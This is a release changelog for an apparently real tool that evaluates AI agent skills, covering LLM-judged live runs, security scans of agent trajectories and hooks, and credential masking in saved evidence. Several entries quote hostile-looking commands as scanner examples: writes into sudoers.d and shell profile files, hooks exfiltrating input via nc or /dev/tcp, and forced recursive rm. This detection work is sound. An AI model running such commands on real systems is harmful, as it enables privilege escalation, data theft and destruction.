BENCHMARK.mdshow: the six Tier 3 evaluator signals, the five dimensions, the Overall Score, Skill Lift, pass@k and the Tier 1 Quality Score. Each entry gives what the number measures, its formula as the source implements it, its range and units, the deterministic checks or LLM judges that produce its input data, and the JSON keys needed to recompute it. It marks which values carry LLM judge variance, describes the pass-rate Wilson intervals,validate-grader, the dataset-sufficiency label and the opt-in judge character facts, and states that no inter-rater agreement study against human-labeled trajectories has been published. Tier 1 validation, Tier 3 live evaluation and the reports page link to it. A regression test parses the constants, thresholds, weights and deduction sizes out of the page and asserts them against the live values inconstants.py,tier3/dataset_sufficiency.py, the default quality config and the bundled grader suite, so retuning any of them fails CI instead of rotting the page.The eval dataset docs now say that a template prompt calls every bare
SKILL.mdin the skill's descriptionmy SKILL.mdonly when the description reads, opens, loads, consults or followsSKILL.md, or otherwise points at the skill's ownSKILL.mdas a prompttier3 validatewarns about would. Once oneSKILL.mdcounts, every bareSKILL.mdin the description is renamed, even one after "a" or "the following", one before a format noun or one beforein ./pdf-tools. Reading does not count whenin,of,from,underorinsidecomes right afterSKILL.md, unless the skill itself follows (the skill,the installed skill,its own skillor the skill's name), as inin ./pdf-toolsorin full. Other place words, such asatorwithin, do not count. The docs said anySKILL.mdin the description was renamed, but "ValidatesSKILL.mdfrontmatter fields" and "ReadsSKILL.mdfiles" keep theirSKILL.md, and "Keeps<name>/SKILL.mdin sync" gets the generic task "handle a typical request".The Tier 3 live evaluation guide said that
skillevaluator tier3 ./my-skillandtier3 init-harbor-taskreject an emptyexpected_output. They reject it only in a{"skill_name", "evals"}dataset. A flat dataset (a JSON or YAML list,{"cases": [...]}, or anyevals.jsonl) is legacy: there an empty or whitespace-onlyexpected_outputorground_truthis accepted and makesaccuracyandgoal_accuracyN/A.Reports & Results now covers a failed Tier 3 run whose budget left planned attempts not run. Its JSON
tier3object and full Tier 3 download recordincompleteand leavesummary.overall_liftnull, even when the best agent has a lift. Its Tier 3 quality status reads Incomplete, while its Tier 3 tile reads Changes required, or Failed (advisory) when Tier 3 is advisory. The page said that HTML displays a failed run as Changes required, or Failed (advisory) when Tier 3 is advisory, and that both payloads keep the best agent's lift.
Fixed
Script lint measures control-flow nesting without recursively walking expression nodes, so valid long operator or attribute chains no longer abort advisory checks for that script and subsequent files.
GitLab JUnit collection includes nested skill folders in catalog reports.
Tier 3 OpenCode with-skill trials no longer exit 1 with
EPIPE: broken pipe, writeafter a finished answer (#757). OpenCode's snapshot passed the workspace file list togit check-ignore --stdinfor a/workspace/.gitthat does not exist, and git could exit before reading it. The baseline's empty workspace skipped that call. OpenCode trials now run with"snapshot": false; a job'sopencode_configcan turn it back on.API caller now percent-encodes scalar OpenAPI path values as individual segments and rejects
.and..values with a JSON input error.The calculator reference skill converts negative values (
-40 celsius to fahrenheit) and takes negative percentages, and no longer answers10% of 50 + 5withResult: 5by ignoring the rest of the input. Such input, and a malformed number like1.2.3 km to miles, now gets the usualError:line instead of a wrong result or a traceback.Direct Tier 1 validates the target, selected checks and LLM configuration before preparing scanners, so configuration errors do not trigger downloads or stdout noise.
Documentation-only CI follows imports through collected test modules and package initializers, so dependent documentation assertions are included.
The text-analyzer reference skill no longer lists punctuation-only tokens as top words. An ellipsis (
...) was counted as the empty word""and a dash (-) as a word, pushing real words out of the top 5.The Tier 1 PII scan no longer stalls on a long identifier before an IPv4-shaped value. A line with a 30-letter name followed by
= "8.8.0.8"took about a minute to scan, and every further letter doubled that.On Windows, stopping a Tier 3 Harbor run no longer fails with
Harbor process-tree cleanup could not be confirmedwhentaskkillneeds more than 5 seconds. It now gets up to 30 seconds, so the tree is stopped and the run's own timeout or output-limit error is reported. A second Ctrl+C still ends that wait early, and the cleanup is then reported as unconfirmed.Keep Steps per Eval Case chart labels readable for long case IDs while preserving full IDs in hover tooltips.
Negative controls with complete, confirmed skill non-use report wrong answers as task outcomes instead of recommending skill edits; truncated or recovered attempt evidence cannot establish complete non-use.
Repeated negative-case task outcomes share one advice item, retain task-failure wording and avoid describing passing attempts as lost, keeping distinct skill fixes visible.
Partial Tier 3 evidence is retained only for valid reward identities and attempt coverage. Corrupt rewards or duplicate attempts still suppress arm scores; incomplete cases are reported as unresolved instead of failed.
Partially executed evaluation arms retain scored attempts and per-arm scores without treating missing attempts as failures or enabling aggregate comparisons.
Script lint now runs advisory AST checks on Python files with one leading UTF-8 BOM.
Task-list descriptions containing status words retain their text and pending status after reload.
Failed Tier 3 arms retain scored and errored trial activation diagnostics without restoring aggregate quality or lift, or double-counting token usage.
Budget-limited Tier 3 coverage checks retain admitted attempt ordinals, avoiding false missing/excess errors when a denied slot leaves a gap.
HTML reports retain budget context for fully budget-denied runs without restoring untrusted score evidence.
A trial where the agent runs the skill's own name as a shell command (for example
text-analyzer input.txt,command not found) is now scored as the agent's tool choice instead of an undeclared environment dependency, unless the skill declares a tool by that name.Fully budget-denied runs exit successfully and finish progress without an execution error, while retaining skipped arms and an incomplete quality verdict.
--backend nemo-gymno longer rejects a malformedevals/environment/mcp_servers.tomlas "not supported". As on Harbor, the parse error is logged and the run continues without MCP servers; a file that declares servers is still rejected.The Tier 3 execution backends table and the NeMo Gym section below it state the live status of
--backend nemo-gym: Codex and Claude Code have completed live runs on the pinned Gym, and OpenCode currently fails in Gym's agent setup. The section also names the policy endpoint settings Claude Code reads.--backend nemo-gymnow hides only credentials in progress lines,gym.logand errors. Provider, model and base-URL names stay readable, as on Harbor.--backend nemo-gymno longer writes a second[verifier.env]table into a native task'stask.tomlwhen its header has a trailing comment, extra spaces or no final newline. The duplicate table made the file fail to parse.Benchmark methodology describes the Overall row's shared comparison basis rather than the headline with-skill score, in Tier 3 and publication cards.
BENCHMARK cards explain the required with-skill goal and security case checks
HTML reports explain the required with-skill goal and security case checks that can fail quality even when all dimensions pass.
--backend nemo-gymwithSKILL_EVAL_NEMO_GYM_MODEL_URLset now requires a model (--model,--agent-modelorharbor.agents.<agent>.model) before the run starts. It no longer sends the evaluator provider's default model name to that endpoint.Make the directory-snapshot mutation test independent of filesystem timestamp granularity while preserving the late-entry race.
Make the MCP-staging restored-mtime race regression independent of filesystem clock granularity by modeling an advanced ctime.
HTML reports preserve successful execution when Tier 3 quality fails, avoiding spurious notices that other execution failures need attention.
Make the same-inode read-race regression use an observable mtime change without depending on filesystem clock granularity.
Make the onboarding URL-rewrite test use its temporary global Git config even when the caller sets
GIT_CONFIG_GLOBAL.Model a changed ctime explicitly in the restored-mtime summary regression so it does not depend on two writes crossing a filesystem clock tick.
Terminal quality headlines and check-count comparisons exclude execution-failed arms. Multi-agent summaries also withhold a failed agent's quality headline, and the
RUN QUALITY VERDICTline no longer reads that agent: an agent that failed cannot make the run PASS, and a run where no agent can be read reads INCOMPLETE with a reason that names the arm that failed (with-skill, baseline or both). A baseline-only multi-agent run (--skip-with-skill) prints no run verdict instead of PASS.The Tier 2 scale guide names the fixed 8 MiB selected-manifest input budget and 1 MiB per-manifest limit, including in description-only embedding mode.
Saved Tier 2 catalogs use compact JSON so indentation no longer rejects dense indexes that fit the unchanged 32 MiB file limit. Vector values and catalog compatibility are unchanged.
doctorandhealth-checkon a base install (without thetier3extra) now say to installskillevaluator[tier3]for the live evaluation check instead of failing with aModuleNotFoundErrortraceback.--tier allstill reports Tiers 1 and 2 first.evaluateandtier3 evaluateon a base install (without thetier3extra) now say to installskillevaluator[tier3]instead of printing onlyError: No module named 'harbor'.Tier 3 benchmark headlines use the completed agent's quality verdict, matching the Tier 3 status row even when another agent fails execution.
Tier 3 benchmark cards say No complete agent result instead of claiming a completed-agent verdict when no agent has complete evidence.
Arms fully denied by a run budget are reported as not run instead of failed empty Harbor jobs. Budget-partial runs remain incomplete without an execution error when all admitted attempts succeed, including stop-on-pass runs. Reused baselines are not promoted to overall scores when with-skill attempts are budget-denied. Explicit non-budget omissions still fail attempt coverage checks.
Hermes
harnessresults no longer say Hermes uses one of two same-named skills (HM-DUP-NAME): Hermes lists both, and the model sees both bodies.Claude Code
harnessresults countwhen_to_usetoward the 1,536-character listing cut (CC-DESC-CUT): Claude Code lists<description> - <when_to_use>and cuts that whole text, so a longwhen_to_useloses its end.Claude Code
harnessresults note skill fields whose value Claude Code ignores (CC-FIELD-VALUE): aneffortother than low, medium, high, xhigh, max or a number, ashellother than bash or powershell,backgroundwithoutcontext: fork, andmaxTurns. The skill still loads.validate's Tier 1 "what to fix" lists each critical or high finding of a failed check, not only the first: a security scan with several SkillSpector findings shows them one per line, up to three, then "+N more in detailed reports".validateon a folder of skills no longer says "security didn't run: skillspector not installed" when SkillSpector ran but a file reference in the skill didn't resolve, which a folder run counts as an incomplete scan. The scanners row now shows "SkillSpector , scan incomplete", and "what to fix" names the unresolved reference and says to fix it or validate the skill on its own.Copilot CLI
harnessresults flag an empty or whitespace-onlydescription(CP-DESC-EMPTY): Copilot lists the skill with a blank description, so the model sees only its name.NeMo Gym runs refresh the policy model key between arms when
SKILL_EVAL_NEMO_GYM_MODEL_API_KEYis set to the same Vertex AI ADC token asOPENAI_API_KEY, so later arms no longer start with an expired token.NeMo Gym detached cleanup defers termination signals until teardown finishes, preserves cancellation over cleanup errors, and reaps adopted run-owned servers.
The NeMo Gym section of the Tier 3 docs now shows how to install the pinned Gym commit in its own Python 3.13.14+ environment.
Native NeMo Gym project skill projections run after authored image instructions and final workspace resets, even when an earlier layer already copied skills.
The NeMo Gym example in the Tier 3 docs points the policy model at an OpenAI Responses endpoint instead of NVIDIA Build, which cannot serve Codex.
Native NeMo Gym OpenCode evaluations project staged skills into the task workdir so skill discovery works with Gym's isolated home and configuration directories. Baseline tasks use the same layout without the target skill.
NeMo Gym doctor isolates its anonymous endpoint probe, honors proxy settings without forwarding credentials, and reports proxy authentication and gateway failures.
Native NeMo Gym doctor now checks policy endpoint reachability with a bounded, unauthenticated HTTP probe and actionable connection-failure guidance.
Native NeMo Gym teardown now completes its cleanup progress stage after a successful stop, instead of reporting an interrupted cleanup on cancellation.
Native NeMo Gym cleanup now also stops run-owned detached server processes after startup timeouts, interruptions and early exits, without targeting other runs.
Published documentation links use page routes so readers can navigate between setup, report interpretation, recovery and the reference pages.
NeMo Gym results reject verifier rewards that identify a different staged case and retain custom grader explanations in collected results.
The Copilot CLI
CP-NO-FRONTMATTERfinding and the plugin component findings ofharness-checkno longer show internal test notes in their messages.No-baseline Tier 3 reports no longer describe an intentionally skipped baseline as incomplete execution or mismatched score contracts. Completed with-skill attempts retain their results, with lift explicitly not measured because no baseline was run.
Success-detail metadata keeps the terminal's default text color. Values such as
grade=Bstay visible in the default blue Windows PowerShell console.The behavior judge's FILE CHANGES evidence now covers Codex
apply_patchcalls. Codex passes its patch as a singleinputargument, which the write evidence helpers did not read, so a Codex patch contributed no FILE CHANGES entry and its contents survived only in the compact tool history -- the section budgeted last, and so the first dropped when the bundle is trimmed. The helpers now take the changed paths from the patch'sAdd File,Update FileandDelete Fileheaders, naming every file a multi-file patch touches rather than letting the first stand for the rest, and keep the patch text itself as the write body. A headerless or malformedinputis left alone, so a shell source string is not reported as a file change.The NVIDIA Build bridge preserves reported input, output and cached token usage in Anthropic Messages and Responses API replies. Anthropic replies use schema-required zero defaults for missing input/output fields and clamp uncached input counts at zero; Responses usage remains absent when unreported.
Automatic SkillSpector selection now verifies the pinned release on first use and falls back to the verified managed wheel for a different or unverifiable version. Discovery stays free of subprocesses, version probes omit provider credentials and respect the caller timeout, and explicit executable overrides remain available. Doctor reports the path and source selected by the probe.
health-check --tier 1(anddoctor --tier 1) labels a scanner that SkillEvaluator provisions itself:(uv tool run)for SkillSpector and(managed)for the downloaded Gitleaks binary. Before, the Gitleaks row ended in(from None)and the SkillSpector row namedSKILLEVALUATOR_SKILLSPECTOR_PATHalthough no override was set.Tier 3 case recommendations treat required judge failures as unscored evaluation problems, with advice to check judge configuration and provider availability. Failed judging is no longer counted twice or blamed on the skill, including for negative controls; genuine scored failures retain their existing advice.
The comments-only consumer template now grants its required read and PR-comment permissions only to the comment job, with no workflow-wide token permissions.
Ctrl-C during a reusable Tier 1 workflow run is no longer missed when it arrives while a scan is starting. The runner waited for scan results with no time limit, and on Linux the interrupt could be handled on a scan thread, which did not wake that wait; the run then went on until a scan ended. The runner now checks for the interrupt every 0.1 seconds.
In local mode, the offered OpenCode install now pins OpenCode 1.19.5, the release Harbor and CI install, instead of whatever npm resolves as latest. Claude Code and Codex installs were already pinned.
The behavior evidence gate no longer keeps a score for an expectation that names an observed artifact but also asks for something only the final answer could show. "Writes
report.pyand explains why each column was dropped" was treated as settled by the artifact alone, so a case kept a score whose second half was never checked. Every clause of an expectation must now name a checkable artifact of its own; one that does not keeps the gate, as a wholly prose expectation already did.Tier 3 recommendations preserve the configured pass threshold when an incomplete condition has no pass-rate summary, so scored attempts below that threshold still receive failure advice.
SARIF
artifactLocation.urivalues percent-encode a%in a file name as%25. A file such asa%20b.mdno longer shares the URI ofa b.md, and100%.mdno longer produces an invalid URI.Reports no longer fail on Linux when a skill file name is not valid UTF-8 (#525). Finding IDs, HTML issue keys, the written HTML, JSON, Markdown and SARIF reports, the CI workflow scripts that re-render retained reports, and generated
evals/evals.jsondatasets accept the surrogate-escaped name Python gives such a file. The SARIFartifactLocation.uripercent-encodes the name's original bytes (caf%E9.md).Native NeMo Gym Claude Code runs now bind the selected policy model server, supply its placeholder credential, pin the sandbox runtime and enable project skill discovery in both arms, including when Gym uses a private Claude configuration directory.
SARIF
artifactLocation.urivalues stay valid for more paths. A repository-relative path whose first segment contains a colon, such asnotes:v2.md, gets a./prefix so it no longer reads as a URI scheme. A path outside the workspace is written as an absolutefile:URI instead of a bare file system path, and a symlink in the workspace that points outside it keeps the link's repository-relative path.Accuracy and Behavior judge prompts clarify that explicit final-answer formats apply to the entire final response, independently of correct values in tool output or references. Scoring and thresholds are unchanged; an Accuracy format failure alone can still score 0.8 and pass the default threshold.
Allow grader-validation suites to use validated dataset
checks, including anchoredoutput_matchesrules, instead of rejecting the entry field before running the verifier. Document exact-format declarations and the measured limitations of natural-language format judging.An author value is no longer rejected for containing a Unicode joiner. The character guard matched all of category
C, so ZWNJ (U+200C) and ZWJ (U+200D), which Persian, Arabic and Devanagari names need to render, plus a soft hyphen and any code point unassigned in the running interpreter's Unicode data, all failedSCHEMA.author_formatat HIGH under both bundled profiles. The guard now rejects controls, surrogates and private-use code points plus the bidirectional marks, embeddings, overrides, isolates and the byte-order mark, and its message says so. An unassigned code point no longer makes the verdict depend on the interpreter's Unicode version.A bare email address whose domain has no dot, such as
root@buildhost, is reported as a malformed author rather than as "Author has no email address". The bare-email pattern required a dotted domain, so an intranet address took the plain-attribution path. The discriminator is now a word character on each side of the@, which still leaves a social handle such asJane Doe (@jdoe), a bare@jdoeorPlatform Team @ Examplealone, and now also catches a non-ASCII local part.Hermes Docker runs with NVIDIA Build now validate
NVIDIA_API_KEYduring Harbor preflight, matching the credential used by the runtime instead of inheriting an OpenAI key requirement. Unrelated provider keys do not satisfy the check.An advisory carried from a passing skill into a collection result now names the skill it came from, in its location and in
metadata.collection_skill. The findings were preserved but attributed to nothing, so a collection run could not say which member produced one. The per-skill roll-up also stops reporting "All schema and structure checks passed" next to a list of that skill's advisories.A
catalog-summary.jsonentry lists the catalog-wide findings behind its verdict undercatalog_findings. The duplicatemetadata.idcheck already failed the member and bumped itsseverity_counts, but a catalog validates each skill on its own, so nothing in that skill's output said what caused either.Native Codex plugin loading now recognizes Harbor launches prefixed with empty credential assignments, preserving credential isolation while running plugin setup before the agent. These launches previously failed after the task with a missing native-launch error.
Folder validation preserves author and metadata ID advisories from passing skills. Catalog summaries include duplicate ID severity counts and consistent member verdicts, while explicitly labeling linked reports as single-skill results and retaining their independent verdicts.
Behavior checks no longer score a final answer that the evidence limits shortened. The final-response allowance rises from 800 to 8,000 characters and the default behavior evidence budget from 8,000 to 12,000, so an ordinary answer reaches the judge whole instead of losing its middle; the user request keeps a reserved section of up to 2,000 characters ahead of the optional exploration output in the compact tool history, which also repeats the request at its head. The
behavior_checkevidence record now reports whether the required evidence is complete, and which sections are incomplete, not only whether something was dropped. When the final answer still cannot fit and the deterministic verified facts do not already settle every expected behavior, the judge returns an explicit evaluation error and no behavior score, rather than grading the evidence loss as a behavior failure. That case then has no overall score at all: an unscored metric that is not "not applicable" leavesoverall_scorenull, so such cases drop out of any gate or comparison keyed on it until the limits are raised or the case is shortened. A case whose expected behaviors are all confirmed by the verified facts keeps its score, because the missing text cannot change the outcome.SKILL_EVAL_BEHAVIOR_FINAL_RESPONSE_LIMITandSKILL_EVAL_BEHAVIOR_CHECK_BUDGETare both honoured exactly as set, in either direction. Note that the final-response limit also caps the reserved user-request section when it is set below 2,000, and that a check budget too small to hold the final response beside some tool history is logged as a warning rather than quietly raised — lower the final-response limit with it.OpenCode bash tool observations retain recorded shell exit codes in Harbor trajectories. Declarative
command_succeededchecks can now distinguish successful commands from nonzero exits; missing exit codes remain not checked.judge_attempts.jsonnow masksCookieheader values, credential flag values (--token,--password,-u user:password,--cookie) and keys such assk-proj-...that start a line in JSON-escaped text, as in RAGAS prompts and replies. A line break there is the two characters\n, and these values were saved in clear after it or after an escaped tab (\t). That includes the value on a line whose flag or header name was masked together with an unquoted credential value that ends the line before and reads on through the escape (--password ...\n--token ...). Only that value is masked; other copies of it in the text stay as they were. Judge and security finding evidence also masks a double-quoted-u user:password, MySQL-por.netrcpassword value, and the value in an argv list such as["tool", "--password", "..."], when JSON escapes the quotes (\"...\"), as in the tool-call arguments every judge prompt holds; these were saved in clear. A RAGASrepliedentry for a reply with no text and no tool call, such as a refusal or a content-filter stop, now saves the whole reply body instead of an empty reply.Judge evidence (
judge_attempts.json) and security finding evidence now mask credentials whose quotes are escaped twice or three times, as when a RAGAS request repeats a tool call's JSON arguments as JSON, and single-quoted values whose quotes are escaped once or twice, as in Python source, JSON or not.- Newly masked: an argv element after a credential flag,
-u,-b, or aloginorsshpass-p([\\\"tool\\\", \\\"--password\\\", \\\"...\\\"], or[\'tool\', \'--password\', \'...\']in a quoted Python list), which was saved in clear. An attached-p...after aloginor MySQL client element, which was saved in clear when escaped twice or in a JSON-escaped quoted Python list (a quoted Python list that is not JSON-escaped already masked it). A double- or single-quoted value after a credential flag,-u,-p,.netrcpassword,aws configure set,git config,npm config setorcurl -b(--password \\\"two words\\\",--password \'two words\',curl -u \'user:...\') and a JSON member such as\\\"password\\\": \\\"...\\\", which were saved in clear or with only their first word masked. - How: the text is also read with one, then two levels of string escapes
removed (
\\,\",\',\/,\n,\r,\t,\uXXXX, inside a quoted string or not). What the same patterns mask in a reading is masked in the saved text too, where the text kept around it places it for certain, so a value escaped again is masked as it is when escaped once, also where the patterns mask more than a credential ("total_tokens": self.total_tokens,in a Write call a RAGAS request repeats). Markers are only added: the text as written is masked exactly as before. A value in a reading ends at a quote that ends a string of the text it was read from, and\\"ends a string, as in JSON, so JSON inside a Pythonrepr, where\\"is an escaped quote, is masked as before. - Still kept: values in text escaped more than three times; single-quoted
values whose quotes are escaped three times; values in text that holds a NUL
character, which is not read again (an escaped
\u0000is read as written); the part of a value that once-escaped text keeps, such as the words after the first in"password: \"two words\""at the start of a JSON string; and the words after an escaped quote in a quoted Python argv value ([\'--token\', \'a\\\'b two\']). - Known over-masks:
{"command": "mysql -u root -p", "timeout": 30}is saved as-p<redacted>timeout": 30}, as before, and now also when escaped twice or three times. The judge's line pass can still mask the JSON after a value on a piece that starts inside a string ({"command": "run(['C:\\\\tmp\\\\']); password: ...", "note": "keep me"}loses"note"). And as escapes are decoded outside strings too, in text that was never escaped, an escape that leaves a quote unmatched in a reading can mask the rest of its line after a later credential assignment (export GITHUB_TOKEN=$(...),password: ...): a\n,\ror\u000ainside a quoted string (printf '%s\n',tr -d '\n',echo "a\nb",cd "C:\repo\x"), or an odd number of\"in a double-quoted string (echo "it\"s"). Finding evidence can then lose thecurlorrmthe finding is about. Judge evidence already lost the rest of such a line after a\n,\ror\tescape, and now also loses it after an odd\"or a\u000a. - Cost: text with a backslash is masked up to three times, in time and memory linear in its length. Judge evidence takes two to four times as long to mask (about 0.2 s instead of 0.06 s for a 70 KB RAGAS prompt of Bash calls), and up to about eight times as long on adversarial text. Peak memory can grow by about 250 MB per MB of input for one long quoted value escaped twice, as the patterns then read that value decoded.
- Newly masked: an argv element after a credential flag,
Tier 3 tasks with Compose sidecars no longer fail with
Docker Compose interpolation variable ... requires protected execution statebecause the shell exports a short flag with a sensitive-looking name. A host variable such asXDG_SESSION_ID=3orMY_AUTH=1made the sidecar check refuse every Compose value containing that character, for examplepython:3.13-slimor127.0.0.1. Host values shorter than eight characters now match a Compose value only when the two are identical, as the trusted Compose client check already does. Host values of eight characters or more, and sensitive-named values a task declares for its main container, are still refused anywhere inside a Compose value.Code Risk Analysis reports Semgrep file-level parse errors as one partial-scan error that names up to 20 unparsed files, relative to the skill and with the line of the first error, instead of the first three truncated messages. The check stays
incompletebecause Semgrep skips the code it cannot parse. The JSON report lists the files insemgrep_unparsed_files(up to 1,000, withsemgrep_unparsed_files_omittedcounting the rest); other Semgrep errors are reported as before.Failed native skill lookups no longer count as activation when the tool reports that the skill was not found or unavailable without explicit error metadata.
Tier 3 terminal, JSON, HTML, and benchmark reports now retain declarative-check coverage per agent and arm, including passed/failed counts, judgments, not-checked reasons, and the behavior-score denominators.
The supporting Tier 3 Pass@k table displays an unavailable or skipped baseline rate as
N/A, preserving an observed baseline rate of0%.Tier 3 budget summaries disclose measured usage above configured limits, including after the final admitted attempt, and identify incomplete usage. Additive
budget.observed_overrunsmetadata is separate from admissionstatus; limits are checked between logical admission units, so a completed run can exceed a cap without becoming partial or failed.Tier 3 suggestion prompts qualify evidence by its owning case or trial, so citations resolve to that case's excerpts regardless of trial order. Metric findings cite only evidence from cases contributing to the reported outcome; references with missing or ambiguous ownership are rejected.
Grader qualification reports null behavior-step results with a matching
not_checkedexpectation as insufficient evidence instead of errors. Raw scores and unjudgeable rates are unchanged.Tier 3 cost budgets now retain user price-file provenance, actually applied rates, and attempt counts by cost derivation. Budget summaries distinguish agent inference accounting from billed spend and document excluded charges; cost limits remain admission boundaries, not hard currency ceilings.
Tier 3 token usage rows are now validated against the evaluation dataset's own case IDs. Every case row uses one of those IDs at most once, and an attempt whose only name is Harbor's 32-character cut of a case name is attributed to that case, so missing telemetry stays with the canonical case instead of splitting into a row of its own. A row that still cannot be matched is marked as an unverified case ID in every report and recorded under
token_usage.case_id_validation, rather than being shown as coverage of a dataset case; a table that shows no such row, because it renders no case rows or its row caps dropped them, names the unmatched case IDs instead. Hidden case names receive the same Markdown escaping, publication-label masking and terminal secret redaction as visible rows, before their displayed length is bounded.Tier 3 case actions preserve dataset expectations and assertions, rejecting requirement-weakening model advice in favor of deterministic remedies. Recommendations identify model-written actions and record when generation failed or unsafe advice was replaced by a fallback.
Tier 3 token usage per case, per agent and over all agents now counts each attempt in the case it belongs to. An unscored attempt of a native task whose
[metadata] entry_iddiffers from its directory joins that case's row instead of a row of its own; the collector records the case in the attempt'sfailure.json. A scored attempt whose trajectory recorded an invalid cache counter is no longer counted with 0 cached tokens: it adds no tokens, and the trial names the counter ininvalid_token_counters. A case that a run budget cut short expects only the attempts the budget admitted, so its row is no longer partial with missing attempts.tier3 evaluateprints the agent token sums for a run whose arms all failed, and once the report payload left the case rows out, the terminal tables say that no report has them instead of naming the report files.tier3 evaluatenames only the reports the run wrote, so a NeMo Gym run no longer points at atier3-benchmark.mdit never writes.The Tier 3 security scan no longer scores an agent clearing its own output directory as a destructive command. One literal, recursive and forced
rmof a path inside/workspace/outputor an output directory established by the trusted staged runtime configuration is cleanup. A tool call's first or latercwd/workdirand shell directory changes cannot establish another owned root. The directory itself, sensitive or protected paths, compound, globbed, parent-escaping or dynamic forms retain conservative scoring. After observed symlink creation, only an unadorned direct leaf can qualify; unknown command directories cannot qualify. Literal quoting is inert because expansions and escapes are rejected before operands are parsed.Tier 3 reports now use final run-budget accounting, including when rebuilding saved runs with stale configuration snapshots. Terminal, HTML, and benchmark reports show budget exhaustion, not-run attempts, overruns, and unverified usage. Budget-stopped runs have an incomplete summary verdict; admitted scores remain visible and their lift is not a complete-run skill-effect claim.
Tier 3 security grading no longer reads a shell startup file as written when a command only sources it, or names a longer path that contains its name without a redirection,
teeorsed -iinto that path:source ~/.bashrc; npm test 2>&1 | tail -20andsource /opt/conda/etc/profile.d/conda.sh && python train.py 2>&1scored Security 0.0 and now score 1.0, in both the host checker and the bundled Harbor verifier, whileecho x > /opt/conda/etc/profile.d/x.shandcp -t$ROOT/etc/sudoers.d /tmp/agent 2>&1still score 0.0. This amends the 0.9.0 note that every command that scored 0.0 in 0.8.0 still does; most other commands the 0.8.0 rule flags, such ascat ~/.bashrc 2>/dev/null, still score 0.0.The Tier 3 security scan no longer reads the license URL in a source file's copyright header as data exfiltration. A
http://orhttps://URL on a comment line of a license or copyright notice is prose within recognized shell comments and bounded, simple literal file-write actions (cat,teeorapply_patchheredocs). Expanding shell strings and heredocs cannot claim an inert notice context. Other URLs, including docstring links, and mixed or uncertain shell actions retain conservative oversized-action handling. A curl, wget or httpie word keeps its meaning wherever it appears, including inside a notice; executable shell leaders cannot borrow a notice either.A failed Tier 3 execution (for example a backend launch failure) now marks the report payload, its summary and the affected agents as failed with their errors, instead of only the top-level
result.json. A report re-rendered bytier3 viewreads the status from the run'sresult.json. Scores from the completed trials are kept.Concurrent Tier 3 budget admission now serializes one calibration unit, reserves in-flight work using the largest measured per-attempt usage, and waits for fresh accounting before admitting more work. Units whose estimates exceed remaining capacity are denied even below the measured cap; budget summaries and metadata distinguish estimate-based exhaustion. An attempt can still exceed its estimate, so caps are not hard ceilings.
Skill activation now credits a SKILL.md read wrapped in a shell, such as
/bin/bash -lc 'cat skills/x/SKILL.md', which some agent harnesses record instead of the bare command. Searches inside a wrapper (bash -c 'grep SKILL config.json') are still not counted.The Tier 1 Gitleaks secret scan now reads authored eval files, including
evals/evals.json, graders such asevals/grader.py, andevals/filesinputs, so a credential committed there is reported. Generated Tier 3 output inevals/resultsis still skipped, and so is every file under atests/,examples/,fixtures/, ormocks/folder, or the singular form, such as a Harbor task grader inevals/harbor/<case>/tests/. To keep an intentional test token, add agitleaks:allowcomment on its line or list the finding in a.gitleaksignorefile at the skill root.Tier 3 reads the native Codex wrapper that runs a literal command array through
.map, so a skill read batched that way is graded instead of scoring as an unsupported wrapper. The decoder stays a bounded static one: every array element is still a literal, the callback may only hand that element to one named tool, and a reused or shadowed binding, a changed index or payload, a computed key or tool name, or a duplicate, missing, extra, reordered or truncated result record leaves the whole wrapper unsupported. Each command is matched to the settled result at its own position and carries that result's own exit code or rejection. The form that prints inside the callback settles out of array order, so it is read only for a single command and otherwise stops grading rather than guessing which result belongs to which command. That inline form is graded only on evidence it actually produced: the callback mustawaitthe call, because an un-awaited one prints a pending promise rather than the tool's result, and it must print something, becausePromise.allSettledswallows a rejection and would otherwise let a call that never ran exit cleanly and read as a successful command.A Tier 1 security scan keeps a SkillSpector
partialreportINCOMPLETEwhen its only ledger row is a referenced image but itsreferenceslist records amissingreference on a line without a ledger row, anambiguousreference, or a list flagged as truncated with a key that ends in_truncated, such asledger_exceptions_truncated. Such a report no longer passes with the image warning alone, because nothing reads the line of that reference for a file left out of the scanned copy.validateTier 1 output: when only the--llm/--llm-verifystage can't run,what to fixgives the exactexportlines for the missing provider or key instead of a scanner install or--skip security, and the scanners row keeps the scanner version (SkillSpector 2.12.0, LLM didn't run). A missing SkillSpector or a rejected baseline under--llmstill gets the scanner fix, and aSKILLSPECTOR_PROVIDERadapter set directly gets advice for its own key instead of the public provider's. The summary row now also gives the sub-check count (9/10 checks passed (22 sub-checks)). It counts validators, as theTier 1: 9 of 10 checks passedverdict line under it does, so the two agree, including with--skipand--fail-fast.A Tier 1 security scan with SkillSpector v2.12.0 or later no longer stops as
INCOMPLETE("Security Scan didn't run") withhooks/hooks.json [static; opaque_content; analyzers=bundled_execution_surface]when the scanned skill, folder or hooks-only plugin has an ordinary command or HTTP hook, one SkillSpector does not report as sending hook content to a remote host (BH2). SkillSpector cannot model what such a hook does with its input, so it reports the analysis aspartialalthough the scan finished, and its findings cannot show that the hook is safe: a hook script that sends its input over a socket,ncor/dev/tcpgets no blocking finding. The scan now fails with the Criticalskillspector_hook_payload_unverified, which names the manifest, such ashooks/hooks.jsonor.claude/settings.json, and a gate failure that neither a--policyseverity override nor--llm-verifyclears. Only removing the hooks passes the check. The other findings and the--llmstage are reported as for any complete scan, and a folder scan goes on to the next skill. This applies only to SkillSpector's nonfatal, whole-file row on a manifest whose BH1 finding says its hook payload isunmodeled, also under a baseline, and only when the report accounts for the row exactly. This covers only manifests and hook evidence the scanner reports, without claiming coverage for inline plugin-manifest hooks or other unreported hook locations. SkillSpector records the same row for a manifest it read only in part: with v2.13.4, whose row counts the records it read, a manifest with a record that is not a parsed hook declaration, such as a skipped handler or a permission rule, staysINCOMPLETE; with v2.13.3, only a BH1 with 2,048 or more declarations does, and a partly parsed manifest gets the Critical. The rest of the report is judged as before: missing references and referenced images are still accepted with their warnings under the rules above; the v2.13.3 missing-path reference caveat that is accepted from the report alone does not apply beside the hooks, because it reads the whole report. Any gap those rules do not accept, such as a missing reference in a scan without a known target or in a skill thatvalidateorsecurity-scanchecks on its own inside a folder or plugin, still records the SkillSpector scan as incomplete (incomplete_scansin the JSON report, and publication eligibilityIncomplete), with an error that names only that gap. The check itself is reported asFAIL, notINCOMPLETE, because the Critical and its gate failure are a confirmed failure, also when a--policyoverride lowers the Critical. With SkillSpector v2.13.4, a hook with a"timeout"key also gets astatic_parse_limitrow on the manifest, so that scan is recorded as incomplete in the same way. In the terminal Tier 1 summary, "what to fix" for a check that failed beside an incomplete scan also lists its other gate failures, after its first one and any unresolved file reference, so it shows the hook gate failure, 